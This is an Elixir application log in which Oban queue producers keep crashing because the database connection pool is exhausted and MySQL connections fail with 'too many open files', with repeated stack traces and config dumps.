State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:28:59.239659Z], limit: 5, uuid: "5513802d-c285-4562-a498-15b38efc60ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:59.239665Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.40268>, refresh_timer: #Reference<0.2525715032.1121189889.192950>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:11.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:28:59.239087Z], limit: 5, uuid: "a89ae790-318d-4026-8ef6-ce804d62f36d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:59.239093Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.59895>, refresh_timer: #Reference<0.2525715032.1099431938.59894>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:11.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:28:59.239735Z], limit: 10, uuid: "f984bb0b-96d4-4add-8c32-a19fe81d196a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:59.239741Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.40266>, refresh_timer: #Reference<0.2525715032.1077673987.40231>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:28:59.238617Z], limit: 50, uuid: "8eea044f-a08b-45b1-8e18-272dce1135a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:59.238627Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.59896>, refresh_timer: #Reference<0.2525715032.1099431938.59884>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:17.118000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:22.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:29:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 836ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:29:11.241092Z], limit: 5, uuid: "9b09c1b0-6416-4668-b52a-a93cb0fa606a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:11.241099Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62557>, refresh_timer: #Reference<0.2525715032.1077673987.40405>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:29:11.241254Z], limit: 5, uuid: "1e673609-6247-4aab-a405-0c4775dccfcb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:11.241259Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62554>, refresh_timer: #Reference<0.2525715032.1068498948.62543>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:29:11.239890Z], limit: 3, uuid: "b17f55bc-c3c5-4ff6-ad20-1ccdb12b7c3c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:11.239898Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62556>, refresh_timer: #Reference<0.2525715032.1099431938.60120>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:23.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:29:11.240754Z], limit: 20, uuid: "c37ad212-4241-4d3b-b560-450e4ffdd9c4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:11.240760Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62553>, refresh_timer: #Reference<0.2525715032.1068498948.62533>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:29:11.241474Z], limit: 10, uuid: "2290ebf1-875b-4c18-8f63-07dd8c565f76", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:29:11.241482Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.193266>, refresh_timer: #Reference<0.2525715032.1121189889.193253>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:29:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
